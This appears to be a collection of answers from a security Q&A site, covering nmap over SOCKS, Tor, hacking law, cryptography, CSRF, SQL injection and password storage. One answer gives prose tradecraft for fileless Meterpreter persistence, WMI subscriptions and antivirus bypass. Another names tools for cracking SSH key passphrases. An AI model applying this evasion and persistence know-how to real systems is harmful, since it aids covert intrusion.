  SOCKS is a layer 5 protocol. That means it doesn't care about anything below that layer in the OSI model! That means that you can't use it to tunnel protocols operating below layer 5. This includes things such as ping, ARP, etc.

So the default nmap -sS flag will not work (no session is established). Plus, nmap constructs its own packets. Instead with nmap you should use the -PN (no ping) and -sT (TCP Connect) The reason is :

  Nmap asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. This is the same high-level system call that web browsers, P2P clients, and most other network-enabled applications use to establish a connection.

You see here since nmap is using the OS API, it will run at a layer higher than 5, and establish a full session to get you more reliable results.

For hostname resolution try proxyresolv. It is meant to work with proxychains and is

  Used to resolve host names via proxy or TOR.


Metasploit Meterpreter Persistence Script Alternatives

Justin Warner provides an argument on his blog that is important to summarize before continuing a discussion about persistence:

  Is Reboot Persistence a Requirement

  I would argue that a backdoor does not have to be reboot persistent.
  In its very nature, a backdoor is simply a method of gaining access to
  some targeted resource. Backdoors often have a persistent component
  but I would say that is a decision best left to the context and
  scenario of what you are trying to accomplish. In very simple network
  scenarios or penetration tests that have little focus from network
  defenders, run-of-the-mill persistence might be applicable and useful.
  Things like run keys, service executables, or App Init DLLs come in
  quite handy for this situation.

  In more sophisticated or tough network environments, I often try to
  operate 95% memory only and only resort to reboot persistence in areas
  that seem to be key-terrain. This might be more paranoid than
  necessary but by doing this, I help to avoid issues with host based
  IDS and prevent leaving artifacts on the hosts. In the places I choose
  to do reboot persistence, I prefer methods that do not utilize a file
  on disk such as registry storage of payloads.

Let's take real-world attacks such as the Kovter malware as an example of the tradecraft possible in 2016 -- https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/

  Thanks to the techniques employed by Kovter, no executable needs to be
  dropped on the disk – that’s why is known as “fileless” [...]
  scattered into several layers, but also obfuscated at every stage and
  containing tricks that slow down the analysis process

Kovter uses a combination of persistent registry entries and PowerShell (others often use or suggest remote registry, PS Remoting, and/or WMI event consumers) to perform this fileless persistence. Some blogs have talked at length about autostart persistence locations based on these, services, autoruns, et al.

In meterpreter, one can access fileless techniques (as described by Justin Warner's blog post at the top of this answer) via PowerShell's PowerPick and ReflectivePick techniques, which don't require execution (or visible process listing) of any powershell.exe. Darkoperator covers the powershell extension and ability to use the powershell_import command to pull in a PowerShell pipeline. One can then use the PowerSploit persistence capabilities, but these may not always be clearly-defined. Of course, instead of meterpreter, one could use PowerShellEmpire agents to deliver the persistence/elevated/wmi module. What I'm suggesting, and which will likely solve your problem directly, is to just source Persistence.psm1 to perform the WMI permanent event subscription via powershell_import while inside meterpreter. This will provide the AV, IPS, and firewall/UTM bypasses you'll need -- but it may be easy to cleanup if the responders search for multiple instances of this one technique.

Which brings me to the next conversation piece that Justin Warner alludes to. Each machine you want to persist against in a network should have a different persistence technique (some perhaps no strategy at all -- e.g., servers with high uptime can have memory-resident backdoors for months, maybe years at a time). Often, you can use the system-administration infrastructure against the target -- leveraging it for evil instead of good, so to speak. There are ways to take control of COM handlers, WSUS, AD GPO, BITSadmin, DSC, SCCM, and many other packages and features to maintain persistence.

Also -- system persistence may be completely different than reliable transports. I highly suggest that you check out the Meterpreter documentation:

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control

You must understand the transport architecture in order to maintain reliable network connectivity. One of the best ways to ensure network reliability that the above does not cover, however, is to combine transport with Metasploit AutoRunScript -- such as covered in the this other answer in order to get AutoRunScript working in the context of meterpreter. mubix covers transports more in detail in this metasploit minute from Hak5.


Should I block users from viewing SQL files?

Generally, there should never be a .sql file stored in the document root directory. There are a few reasons for this, but mainly because these files leak information about the database(s) in your environment.

Blocking users seeing those files will not inhibit your ability to perform administrative tasks on your server. However, I should stress that those files should not be present in the first place, so blocking them would not gain anything.


Is it safer to download torrents over Tor or a normal Browser?

The Tor project recommends that you don't use Tor for BitTorrent traffic because there are numerous anonymity leaks in the protocol.  Even more so, if you only download the .torrent via Tor but open it in a client that's configured for standard non-Tor operation, you've gained essentially nothing in anonymity, as the client will send the tracker information about your download (assuming you're not relying entirely on DHT).  The Tor Browser Bundle is principally concerned with anonymity, and that's what it's warning you about.

Security is a different matter.  When using Tor, you funnel your traffic through several nodes, and thus open yourself up to a man-in-the-middle attack.  This is one of the reasons it's very important to combine Tor usage with HTTPS, which will provide (within the limits of HTTPS, which is to say "mostly") a guarantee that your traffic hasn't been tampered with.


At what point does "hacking" become illegal? (US)

The law is unclear. Anything you do, no matter how innocent, could be considered a crime. All the website owner has to do is say "I didn't want that to happen", and you could be convicted of a crime.

Before donating to a tsunami relief website, Daniel Cuthbert typed in ../../../ in the URL. He was convicted of "intent to hack" (in the UK).

Lori Drew was convicted of hacking MySpace, because she violated MySpace's terms-of-service by creating a fake account, that was later used by her 14 year old daughter to harass another girl, who later committed suicide. The convictions were overturned later, and the government decided not to appeal - but it's still an experience to avoid.

Andrew "weev" Auernheimer was found guilty of identity theft, because AT&T provided customer account info for early iPad owners on their website, and he wrote a script that just enumerated the URLs and download them.

Brian K. West was threatened with prosecution because he clicked on a button labelled "Edit" on a newspaper website -- and was surprised to discover that this allowed him to edit the actual web page.  After reporting the problem to the newspaper, the FBI investigated him (including searching West's workplace and seizing some materials) and a prosecutor apparently threatened him with a felony prosecution.

In a recent case, it's been found that when you cause an inbox to fill up with spam, thus DoSing it, you are guilty of "hacking" it as defined by the Computer Fraud and Abuse act.

I do all the things you describe. There are lines I won't cross: I'll test for SQL injection, but I won't access the database. But I do this because I can afford high-priced lawyers to defend me. Also, I won't do things that are stupid. For example, Daniel Cuthbert was convicted of "intent to hack" because he kept changing his story when asked why he did it, so the court didn't believe any story.


Can I isolate a specific computer on my network?

If your router has the features you could create a separate vlan and isolate his computer in that using firewall rules. Other than that MAC address filtering is really the only way.

However what I would do is ban him from your network. He won't learn his lesson because he has you providing free tech support whenever he makes a mess. Kick him off for a week, then limit his access to some very basic sites for another week or so. Charge him for tech support. He'll get the message or take his activities elsewhere.


No, it does not have such a concept, but the concept you describe sounds like a set of primary keys put into relation by certifications, at least as long as you don't add a more specific use case.

The additional flexibility you describe also brings complexity in implementation and usage, but at the same time is not considered relevant for the usual use cases of OpenPGP: one identity is a primary key, and subkeys are used for day-to-day tasks to minimize the primary key's exposure.

Concepts in information security should stay as simple as possible to keep solutions easy to maintain and secure.

For usage that requires more hierarchical key management like one could imagine for corporations where employees have their own keys, but the company should be able to put trust on and revoke them, use the normal OpenPGP features as certifications and designated revokers.


"Secrecy" depends on the context. Secrecy of what, where, when, against who ?

If you have an ideal block cipher, then you can use it in a mode of operation which turns it into an encryption system for data messages of arbitrary length. If the block cipher is ideal (there is no way to distinguish the block cipher from a randomly selected permutation that is easier than trying all possible keys), and the blocks are large enough, then encryption will ensure confidentiality up to the exhaustive search effort.

Note the subtle points, though:

Most block cipher modes require an IV with some mode-dependent requirements. For instance, CBC requires a uniformly random unpredictable IV. Some other modes are less strict and need only a non-repeating IV (e.g. a message counter suffices).
Encryption does not include integrity. However, some modes include an integrity check, which is a good idea (e.g. GCM).
Depending on the mode, it may be possible to leak information upon decryption; CBC in particular got attacked many times (see padding oracles). There again, modes with integrity checks like GCM tend to fare better.
Encryption hides data contents, not data length. Length can leak information, in particular when used with compression (because compression makes data length depend on data contents).
Encryption does not create secrecy, it just moves it around. With encryption, you can reduce the problem of keeping gigabytes of data confidential, into the problem of keeping a single 128-bit key confidential. Supposedly, the latter is easier than the former, but you still have to do something (that's called "key management").


The fact that they are constantly making changes to improve security is a good thing. It means they are keeping up with exploits and patching accordingly. This is the kind of thing you want to see in a security library. Just because a library isn't patched often, doesn't mean that they don't have any problems. It might just mean that they aren't fixing them quickly or often enough.

As for the library itself, it seems fairly widely used, so I think you will be safe using the most recent version of it. Using different libraries seems like it will introduce a lot of complications to your build and upgrade process (which itself can cause security problems), and you probably aren't going to be gaining a lot of security by switching.


Can Microsoft access all private data if a user installs Windows 10?

This is the whole passage (source: https://privacy.microsoft.com/en-us/privacystatement):

  Finally, we will access, disclose and preserve personal data,
  including your content (such as the content of your emails in
  Outlook.com, or files in private folders on OneDrive), when we have a
  good faith belief that doing so is necessary to:

  comply with applicable law or respond to valid legal process, including from law enforcement or other government agencies;
  protect our customers, for example to prevent spam or attempts to defraud users of the services, or to help prevent the loss of life or
  serious injury of anyone;
  operate and maintain the security of our services, including to prevent or stop an attack on our computer systems or networks; or
  protect the rights or property of Microsoft, including enforcing the terms governing the use of the services - however, if we receive
  information indicating that someone is using our services to traffic
  in stolen intellectual or physical property of Microsoft, we will not
  inspect a customer's private content ourselves, but we may refer the
  matter to law enforcement.

Microsoft is not allowed to access the files that are only on your local machine. Technically they could implement a function that sends them all your files (something like onedrive synchronization, ;-) ) but someone would definitely notice the high traffic if Windows OS would do so. Your machine would have to open the connection, they can't just open it from outside because of basic networking principles.

I don't think that I have to add something to the legal aspect because the quoted passage explains it pretty well. Of course, there are more limiting words than "good faith belief"...

Edit: Here's a report from a German security company about Windows10 privacy stuff and how to configure it. It's written for company admins but it's an interesting and compact read: https://www.ernw.de/newsletter/newsletter-52-february-2016-some-recommendations-regarding-windows-10-privacy-settings/index.html (didn't want to link the pdf download directly).


Can in a VPN LAN-to-LAN one site be completely isolated from the other?

A LAN-to-LAN VPN connection is just a bridge between two remote networks. You can think of it as a cable.

On top of that cable, the VPN routers usually provide a gateway to the other network. Without this gateway the traffic could not go though as packets from one network would not know how to reach the other network. It is reflected in the routing tables of the devices in each of the networks.

So you now basically have an open extension of one network into the other one. Each device on one network can reach to each device on the other one.

But this is not what you wanted - you wanted to restrict this traffic. Therefore you need to have some kind of filter which will allow some packets and not some others, based on some rules. This can be done by a firewall or you can check if your VPN gateway does not provide such functionality (look for "firewall" or "ACL" in the documentation).

You can further shape the traffic the way you want, including NAT (on both sides if required, to reproduce the Internet scenario you mention).

The key point here is that the VPN setup does not offer (at its core usage) nothing more than a secured communication layer between two networks.


What is "anonymous identity" in enterprise WPA?

The anonymous identity is used in EAP so that the authenticator can choose the correct authentication server to process the credentials. For example sending anonymous identities of foo@example to Example's RADIUS server.

See here for more information.

The anonymous identity is sent in the clear. Some client systems have a privacy option for the anonymous identity. In this case rather than foo@example being sent in the client response, only @example is sent, protecting the actual identity of the user. All an eavesdropper can see is that they want to authenticate with Example.


The following would probably be considered "okay" around here:

Add another NIC on your db server
Connect it to a distinct management network
Remotely connect to this management network using a VPN, with client IP restrictions.

PHP runs on Windows, however you should modify your database with change-log scripts, like with liquibase.


How to fully view cross-signed certificate signatures

There IS only one signature on an X.509 certificate.

But there can be multiple different certificates for a given CA, and multiple different verification paths using DIFFERENT certificates, with one signature on each certificate. That's what Qualys/ssllabs shows you (when detected).

Usually the CA involved will document this; one of my favorites for clarity is LetsEncrypt. And if your recently-expired bridge was Sectigo-usertrust-under-addtrust, about which maybe a dozen Qs have already been posted, their picture is less clear but their text is good enough (IMO).

Alternatively, now that Certificate Transparency has become common (though not universal) you can usually (though not always) search on one of the logviewers. I find crt.sh most convenient, e.g. https://crt.sh/?q=usertrust%20rsa%20certification%20authority quickly shows the now-expired bridge, the better root, and the new 'alternate' bridge to AAA, as well as the irrelevant Microsoft codesigning endorsement, all with links for details and download if desired.


Best practices for working with a new computer

I would suggest that you re-install the OS to reduce the probability of a compromised system. It is relatively trivial to modify the windows image to include malware and then install it on your machine. Software such as NTLite is frequently used by OEMs to install antivirus trial versions that come with the machine. The same software can be used to pre-load malware onto the machine.

Although very rare, there are instances of malware affecting the BIOS. You could download the latest BIOS firmware image from the manufacturer's website and flash it.


Why not use sudo instead of setuid/setgid?

Because your suggestion doesn't reduce the attack surface at all. In fact, it increases it. With programs like ping being setuid, it would take a vulnerability in ping itself to exploit it. If the file itself weren't setuid, and users instead had permission to use it via sudo, then either a vulnerability in ping or one in sudo would do. And even if the system has sudo anyway, most of the security bugs that have been found in it over the years have been ways for a user with some sort of permission to use sudo to instead gain full root. Bugs that a user with no sudo access at all can exploit are essentially unheard of.


Logging requirement in PCI DSS for in house application

[is it] required by the PCI that we must store the request post body,
  even if it contains encrypted card details?

No, there is no PCI DSS requirement that you store incoming request POST body.  In fact, while there's an entire section of the DSS (§10) dedicated to logging, it concerns itself with system and security logging, not transactional logging.

Transactional logging is mentioned largely in §3, mostly to prohibit storage of  unencrypted sensitive data (track, CVV, PIN, ...) in transaction logs.

I think your auditor has a reasonable point that you need transactional logging, but that need not include raw request or response data.  You should be logging things like time, source, internal transaction lookup, and response (as in, "success" or "failure", not response body).

These sorts of logs support normal business processes such as, "Hey, IP 1.2.3.4 submitted a fraudulent transaction at 12:34:56; tell me how many transactions they made that day and whether they were successful or not."


Is my data secure if my iPhone is locked?

By default all data stored on IOS filesystem is encrypted with the filesystem key which is specific to the device and securely stored. When the device is powered, the file system is unlocked for access with this key. This key is also how remote wipe works - it just destroys this key.

Files can be encrypted at rest as required using the data protection api, so this is application dependent.

RAM is a different story, applications won't be encrypting all of their data while it is in memory and RAM can be read in various ways with various tools but they would mostly require direct and privileged access to the device or for it to be compromised.


find passphrase on encrypted ssh private key

John the Ripper supports cracking SSH private key passphrases. If you provide a dictionary it will be even faster. Alternatively, you can also use Phrasendrescher.


Prevent manipulation of password database

If only the database server is compromised: yes. If the application server is compromised: no.

Store a HMAC of the final password hash along with the hash itself: SIG = HMAC(hash, secret).

secret is a single value only known to the application server. It never changes. When verifying a login attempt, recalculate the HMAC and compare.
This way the attacker who has compromised the database is unable to create or modify a password (since secret is only known to the application server).

In practice, things are always a bit different: if your DB server is compromised you most likely are in a lot more of trouble.


Are non-SSL connections safe in a local wireless network with password protection

Although messages sent over wi-fi are encrypted with a session key, a device that already knows the pre-shared key can decipher the traffic. WPA doesn't implement Forward Secrecy, therefore by owning the pre-shared key anyone can decrypt all the traffic which is not encrypted by upper OSI layer protocols (say, TLS).

Therefore, when transferring sensitive data you should use an external data protection mechanism - for example, TLS.


Verify Mac firmware is not hacked...how to do?

Try using Wireshark to do a packet capture and see whats data is being sent out.

Then you should at least be able to tell if its anything to worry about.

Alternatively try using the netstat -p command that will list what programs are currently listing on ports and you can see if there is anything strange.


TLS 1.2 mutual authentication certificate based standard

The usual TLS RFC's like RFC 5246 cover the relevant handshakes already. Just look into the RFC and search for anything related to client certificates.


Open source solution to capture and decrypt SSH traffic (with private key)?

mitmssh is the only tool I'm aware of capable of MITM'ing SSHv2 sessions.  If you're looking for after-the-fact capture decode, that's not possible, as SSH universally uses ephemeral key exchange mechanisms.


Apparmor system-wide security -- white-listing

By default AppArmor whitelists all applications/programs. To setup apparmor so all applications/programs by default are blacklisted then you need to setup AppArmor Full System Policy. This is not a simple task but can definitely be done. Refer to the link for the details: https://gitlab.com/apparmor/apparmor/wikis/FullSystemPolicy


Why can't I upload a new ECC key to key servers, which is supported by GnuPG 2.1?

pgp.mit.edu and most other key servers are currently running the SKS key server software, which is (as of November 30th, 2014) not yet ready for the new ECC keys. There is some code, though; but it is not ready for production yet.

Be aware that even if most keyservers will support it (probably rather soon), broad support for ECC keys with other OpenPGP users will take quite some time, don't expect a majority of GnuPG users to have GnuPG available for their distribution within the next months or even 2-3 years, and people using older implementations will not be able to use ECC keys!


Understanding Diffie-Hellman key exchange

The best way to understand the realms of Diffie–Hellman key exchange is to throw a glance on the mathematical procedures ut follows and which I am going to explain:

Alice & Bob agree PUBLICLY to share a random INTEGER number p that belongs to a the cyclic group  g of the ring (Z/pZ)*.
Alice  & Bob choose  RANDOM integer numbers (a and b respectively; {a,b} belong to (Z/pZ)*)
Alice sends (g) pow a (mod p) to Bob
Bob sends (g) pow b (mod p) to Alice
Alice computes
Bob computes
The shared secret is then

But where is the answer to your question ? It is highlighted by the second step of the algorithm: it means Bob & Alice have not to know how to choose the circled pictures but they choose them randomly.


Twitter allows the password to be resolved from a stolen cookie. Is that a problem?

Their response is perfectly valid. They are saying that what you found is the intended behavior. There is a usability trade off with security features and they are saying they aren't going to implement one here because the chances of a cookie being stolen is unlikely because of protections they have in place.

They point out that the attacker has to have infected the users computer pretty much to steal the cookie, in which case, they already have their password.

There is one thing they said that i take issue with but its actually to their benefit.

They describe that the cookie can be stolen using XSS if a vulnerability is present but that is not true because their cookie is http-only.
So their site is actually more safe than they are even claiming.

For the future, its best to keep your question generic because this isn't really a good place to disclose something you found on somebody elses website.


How to decrypt file that was attacked by ransomware?

It depends greatly on the malware that attacked you.  Like any software, some malware is written better than others.  Some use poor encryption that can be broken.  Some can be fooled into decrypting your files just by tricking them into believing their payment server was paid (the "Jigsaw" ransomware is stupid like this.)  But others are using high security approaches that can't be so easily thwarted.

The best approach is always to recover the lost files from a backup (on an uninfected computer, of course!), and wipe and rebuild the infected box.  If that's not possible, you may have to decide whether or not to pay the ransom, and quickly.  Ransomware typically comes with some kind of evil countdown clock that will permanently delete more and more files as time elapses and the payment deadline approaches; they may also delete a large number of files in retaliation if they detect a reboot or if the ransomware is killed, restarted, or tampered with.

If recovery isn't possible, your next best bet is to use a different computer to find out what kind of ransomware you were infected with, and google for specific advice for recovering your data.  If self-recovery isn't in your comfort zone and the encrypted data is extremely valuable, consider calling a computer security firm.

Remember, once you're infected don't shut the attacked box off, don't reboot it, just work quickly to preserve what you can.  If you do need to power it down, make sure you physically kill power instantly.  You should remove the battery or unplug the power cord, instead of pressing the power button and waiting for it to shut down, or using the 'Shutdown' menu option.  Use the powered down time as an opportunity to make a backup of the disk image before you restart it. This will preserve additional files from being deleted by the malware when it comes back up.


Ignoring collision and (second) pre-image resistance, what makes a cryptographic hash function strong?

Since the context of this appears to be password cracking, and cryptographic hashes are unsuitable for storing passwords, the simple answer is just "your question is irrelevant".

A good cryptographic hash function has a number of basic design goals:

It should be computationally feasible to compute a hash H(x) for some input value x.
Changing one bit of the input should change all output bits with a probability of 50%.
Given only the hash output, it should not be computationally feasible to recover any information about the input (aside from generic attacks like rainbow tables).
Given an input x1, it should not be computationally feasible to find another input x2 which satisfies the condition H(x1) == H(x2), i.e. it should be hard to find collisions.

While these basic goals are certainly useful, they don't really cover the full requirements of a good password storage function. To answer your question more specifically: large or controllable computational cost is most certainly not a feature of most "ordinary" cryptographic hash functions.

A good password storage function, alongside all of the above, should have these additional design goals:

It should not be deterministic, i.e. two equal passwords for different users (or other entities) should not result in the same output hash.
It should implement some form of defense against precomputation attacks (e.g. rainbow tables)
It should be computationally expensive to brute-force the original input for all but trivial and common dictionary inputs. This is usually controlled by implementing a cost value, which allows for scaling of performance.
There should not be a way to produce more than negligible performance gains using time/space tradeoffs.
The performance of the function should be roughly linear across all architectures, to avoid acceleration by GPUs, FPGAs, etc. perhaps excluding specifically-designed silicon.

Some of these goals are similar to those implemented by key-derivation functions (KDFs) such as PBKDF2, but again these functions are not designed for password storage, and have instead been appropriated for such uses.

While there are currently only a few designs that implement all of the above, it is a relatively new field, so future works is expected. As a matter of interest, the current state-of-the-art for password storage, as per PHC, is Argon.


You are looking at a workaround or a mitigation of this risk at best. There are no official tools that provide this functionality, and a cold boot attack is relatively difficult to pull off. The RAMBooster approach suggested in the comments will flush your data to the pagefile, which, ironically, can make that data easier to recover if the attacker retrieves your Bitlocker key. Cold boot attacks may not be able to retrieve all memory contents due to the decay that occurs after power loss, but the pagefile does not decay in the same fashion.

That is bad because the Bitlocker key could be retrieved by multiple means. One is the cold boot attack you're worried about (which is quite difficult to achieve, and a failed attempt will result in the permanent loss of volatile memory). Another method is somewhat easier, cheaper, less noticeable, and repeatable: DMA attacks.

The safest course of action is to either power down the machine or enable hibernation when the machine is unattended. Powering down is the safest option, but it is disruptive and therefore impractical.

Hibernation is an acceptable mitigation in this case because the contents of RAM are written to disk, and then the system is powered off; this starts the clock on DRAM. Most other power/sleep states leave RAM powered on and refreshing, so be careful when configuring the system. Since you must unlock the disk before RAM contents can be restored on the next boot, you will have to endure a regular bootup, but your applications will resume in the same state you left them in.

Off and warm is good. The contents of DRAM decay faster when the memory modules are warmer. Under ideal circumstances, an attacker would freeze the memory immediately after shutdown to maximize the likelihood of recovery. This implies that it is best to power down the system before it comes under adversary control, as memory contents last for maybe 30-60 seconds at normal temperatures. Note that the article tests DDR2 memory, and newer types are expected to exhibit lower remanence; a later study was able to reproduce the original results with DDR2 but could not retrieve data from DDR3 using the same method.


Can someone listen GSM calls with RTL-SDR dongle if A5/1 cryptography is successfully cracked?

Short answer: Yes - but it needs work.

Some background: If - as you assume - A5/1 is cracked, than the attack scenario is the same as using no encryption at all.  Karsten Nohl showed in 2010 that if you have the key Kc, you can decode a GSM phone call.

Open Points or things that must be done:

Currently only the downlink channel was attacked (this is the communication from the base station to the phone).  This signal can be traced in the whole cell.  Uplink traffic (communication from the phone to the cell) is somewhat harder to trace (e.g. no synchronization logical channel like the FCCH in the downlink, weak signal).
Base stations are allowed to use channel hopping, i.e. the traffic is transmitted over multiple physical frequencies.  Because it is IMHO not possible to switch the frequency of the RTL SDR in that short period of time, you need typically more than one device to listen to all physical frequencies at once.  So, if the cell has three hopping channels, you need six devices: three for downlink and three for uplink.
Synchronization of these devices must be done: on the 'analog' side the frequency offset (evaluation of the FCCH) and on the digital the synchronizations of the frames of different frequencies.  IMHO there is currently no free and open source software available handling these kind of things.
If you want decoding in real time, there is also some work needed.  Software like airprobe can be used for tracing calls, but it's used more like a batch job (collecting data and afterwards processing).

(Please note that the answer is only about GSM. In 3G (UMTS) or 4G (LTE) it's completely different.)


Suspicious activity on contact form, what are their intentions?

It looks like an automated fuzzing test/attack that is looking for a number of different vulnerabilities.

Based on what you have provided they are trying to access the file system or execute directory traversal attacks, but I suspect as time goes by they will try basically every type of attack there is.

Tools like Burp Suite will provide ways to automate these types of attacks by allowing you to specify which HTTP parameters you want to target as well as providing an attack payload that looks for a number of different vulnerabilities (SQL Injection, XSS, path traversal etc.)

You can probably block the IP for now, but I would make sure that you site is secure because they will probably be back.  Also, you are probably receiving emails because they are testing your "contact us" form or something like that.  I would check your logs, because they are likely hitting many other pages as well.


How do I check that users don't write down their passwords?

As others said, you can't stop them. But you can remove the incentive.

Does your password policy require any of the following?

Changing at regular intervals
Manual entering (password managers blocked)
Complex format (differing cases, special characters, etc.)

If so, you are actively incentivizing people to write the password down. Drop the outdated password policy and your users will be much more likely to play along.

Recommendations based on the new NIST guidelines. There is a nice summary here.


The results are consistent. In both cases you're getting that all the scanned ports are filtered. The Nmap setup at domain-tools seems to be configured to not show the state of more than 25 consecutive ports separately.

In the first case you specified 16382 ports and they all turned out to be filtered, so Nmap won't bother printing all 16382 ports, it will just tell you they're all filtered.

In the second case you specified only 10 ports, they all turned out to be filtered, but this time since they're not so many, Nmap printed them all.


Sending server side credentials as plaintext after connecting to SSL

Once you have established a connection over SSL/TLS, you can send secrets over that channel - that's the point of SSL/TLS.

However....

It looks like you are using OAuth, with the "Resource Owner Password Credentials" flow. If you do this, there are a few things to consider.

There are several flows, and this particular flow expects the highest amount of trust from the end user. If possible, you should consider one of the other three flows.

It's better not ask the user to send their password to your own server, or to ask the user to enter their credentials in a screen belonging to your app.

The web service you use should provide a login screen to use for OAuth authorization. You should redirect the user to that login screen, and let the web service handle the login process. It should then provide you with the token needed to complete authorization.


Based on the description at Virustotal you've linked to this is in reality not an image, but a real PE32 executable (normal windows executable). So only the file name extension was changed to hide the real purpose of the file.

PE32 will not be automatically executed when they have the .jpg extension like in this case. Also the image viewer which will be invoked with the file by default will not execute the code but instead exit or complain that this is not a valid image.

Thus this file would not work alone. But such files are typically used together with another file which will rename it to name.exe and execute it. This can be done by some batch file, with the help of the Windows Scripting Host ActiveX inside a website or mail or similar. This strategy is used to bypass antivirus and firewalls which might skip analyzing the "jpg" file because of the extension and will not find anything suspicious in the accompanying script (which only renames the file and executes it).

  ...if there is any way to decode/decompile the image data

Again, this is not an image but an executable so the tool of choice could be some disassembler, debugger, sandboxed execution etc. See also the analysis from Virustotal.


Why not use username as a password salt?

The fact that the salt is a deterministic function of the username makes it likely that users who use the same username and password on two different sites might end up with the same password hash on both.  Attackers who observe this coincidence might then focus their efforts on cracking those password entries, so you might be exposing your users to more risk.  (This could in principle be mitigated by incorporating some site-specific data to the salt.)
When the user changes their password, it would be salted identically to the previous one.  Crackers can then attack those two password entries with the same effort as just one.
It just doesn't really gain you anything compared to the simple expedient of selecting a random salt each time you store a new password.  This is simple and optimal, because random salts are not just highly likely to be unique within your database, but also across all password databases ever kept.  Why deviate from a strategy that's both simple and optimal?


x509 restrict the intermediate CA to sign only end user certificates

First, if you look at the cert you created in step 3 with openssl x509 -text <intermediate.crt you'll see it doesn't have any BC extension (nor KU either). This is because creating a cert with openssl x509 -req -CA/CAkey does not use any extensions (more exactly, requested extensions) from the CSR. See Missing X509 extensions with an openssl-generated certificate https://serverfault.com/questions/845806/how-to-issue-ssl-certificate-with-san-extension https://superuser.com/questions/862838/s-mime-for-mac-and-ios .
But even if you fix this, OpenSSL mostly doesn't check the certificate when it does a privatekey operation, except in the SSL/TLS protocol (which requires full checks). (And in one case, smime|cms -encrypt, it apparently doesn't check even on a publickey operation.) The man page might more accurately say a CA cert with pathlen=0 can only validly sign leaf certs, not other sub-CA certs: OpenSSL, with either openssl ca or openssl x509 -req -CA [-CAkey] will actually sign a cert that violates pathlen (or even CA=false!), but if you subsequently use that cert in most cases it will fail validation and be rejected.


Send a CSRF attack with a specific header referrer?

Referer is considered a special header (like `Host´) and can not be set inside the browser. So the most you can do with some tricks is to make it empty, but not to point to some other site.

Of course you could use some other tools to make crafted requests with your own Referer header. But in this case you (as attacker) don't have access to the cookies relevant for the target site so it would not work as an CSRF attack either.


HTML login form without a CSRF protection

This is called "Login CSRF" and is indeed a real problem that you should address.
While an attacker couldn't fool a victim to log in to their own account since the attacker doesn't know the user's credentials, an attacker could fool the victim into logging in to the attacker's account. This can be used to trick a victim into giving up information to the attacker as the victim believes that they are signed in as themselves.
This is indeed something that has been used to malicious ends. From Detectify:

PayPal was once vulnerable to login CSRF and the attacker could make a user log in to the attacker’s PayPal account. When the user later on paid for something online, they unknowingly added their credit card to the attacker's account.
Another, less obvious, example is a login CSRF that once existed in Google, which made it possible for the attacker to make the user log in to the attacker’s account and later retrieve all the searches the user had made while logged in.

Even if you can't think of any way this could be leveraged on your site, a clever attacker might. There is no reason to allow it.
So how do you block it? Even if the first action the user take is to log in, the first interaction they have with the server is to fetch the login page. Thats an opportunity to assign a CSRF-token. Then check for it on all requests that change the state of the server, including the login.
(A tangentially related vulnerability is session fixation. Having CSRF-tokens that persist past login can expose you to that, so read up on that before you start implementing a solution.)


Is my code using mysqli_real_escape_string and quotes100% safe against SQL Injection?

It's mostly safe, except in some corner cases regarding certain character sets. Still, it's not the correct approach.

But first off, PDO with default configuration also suffers from the corner cases described above.

There are still very good reasons not to do it like this though:

theoretically, it just makes more sense to separate user input and SQL keywords instead of escaping.
it's generally recommended to use prepared statements, not to escape. It's not always good to go with general recommendations, but if you go against them, you should have a good reason for doing so.
it's harder to mess up prepared statements than escaping, because you have to do it right when you bind the data to the query, while escaping can take place anywhere (and often does, to avoid duplication, etc).
prepared statements always uses the same approach, just bind the data. With escaping, you have to remember to have quotes, or to cast to int, depending on the data you have.
quotes are very easy to forget and to overlook, especially in more complex queries.
it seems to me, that by using prepared statements, you focus on security, while when using escaping, it's more of a side-thought that gets in the way of the task you really want to accomplish, making it easy to forget to add escapes or quotes just once (you can't forget to bind the variables, as then it wouldn't work).
prepared statements are nicer to read than code that has mysqli_real_escape_string all over the place.
it's a lot easier to find weaknesses in your code if you use prepared statements (just grep for queries that contain variables).


SD cards are simply micro-controllers with NAND flash storage, similar to USB flash drives. The firmware on these devices has been shown to be vulnerable to manipulation and SD cards have been shown to be capable of MITM attacks: here

Code execution being possible, and many software-based key loggers being available, it's not a stretch to say that an SD card could be used to install a software-based Keylogger on your system. Also like you point out, they are also not easy to spot.

Andrew Huang and Sean Cross even note regarding their exploit:

  While SD cards are admittedly I/O-limited, some clever hacking of the
  microcontroller in an SD card could make for a very economical and
  compact data logging solution for I2C- or SPI-based sensors


If you don't mind me being blunt, I think you have a lot of misunderstandings in your post, and a lot of your conclusions seemed to be based on assumptions of what amount to conspiracy theories.  First, let's be clear about a couple things, which I feel should be sufficient to dispel some of your assumptions and conspiracy theories:

Google does not have the computer resources to crack a 100 character password.  The entire earth does not have enough computing power or energy to do such a thing.  In fact, even a truly random password with only ~20 characters is long enough to be uncrackable by anyone (presuming a simple brute force attack of course, and ignoring phishing/algorithm weaknesses/etc)
If google wanted access to your data they wouldn't have to try to crack your password anyway.  They could just update their source code to store the plain text version of it the next time you login.  The same is true for any website that you log in to.  Anyone running a server doesn't have to crack your password to read it: it is waaaaay easier than that.

As a result, your general statement that companies have password length maximums because that allows them to crack your password when they want to is, without exception, completely wrong.

So why are there maximums?  This question discusses that for many legacy systems:

What technical reasons are there to have low maximum password lengths?

Google is a separate matter: a 100 character maximum is not actually unreasonable.  I doubt anyone is trying to use 100 character passwords, and even password managers don't (because 100 characters is absolute overkill).  There may be technical reasons with their cryptographic algorithms that require a maximum of 100 characters, but more than likely it is an arbitrary limit put in place because some limit is needed, and there is no practical reason for having a password that long in the first place.

To reiterate one more point, there is a physical limit to the length of a password that can actually be brute-forced.  It comes down to energy considerations, and the minimum amount of energy required to run computers that could crack passwords.  The overall gist of it is that for long enough passwords, there isn't enough energy in the entire world to crack the password, even if you had infinite computing resources to throw at the problem:

https://www.reddit.com/r/theydidthemath/comments/1x50xl/time_and_energy_required_to_bruteforce_a_aes256/

https://crypto.stackexchange.com/questions/1145/how-much-would-it-cost-in-u-s-dollars-to-brute-force-a-256-bit-key-in-a-year

Also good reading for you, to help you really understand some of the issues around password length:

https://www.infoworld.com/article/2655121/security/password-size-does-matter.html
https://security.stackexchange.com/a/118457/149676
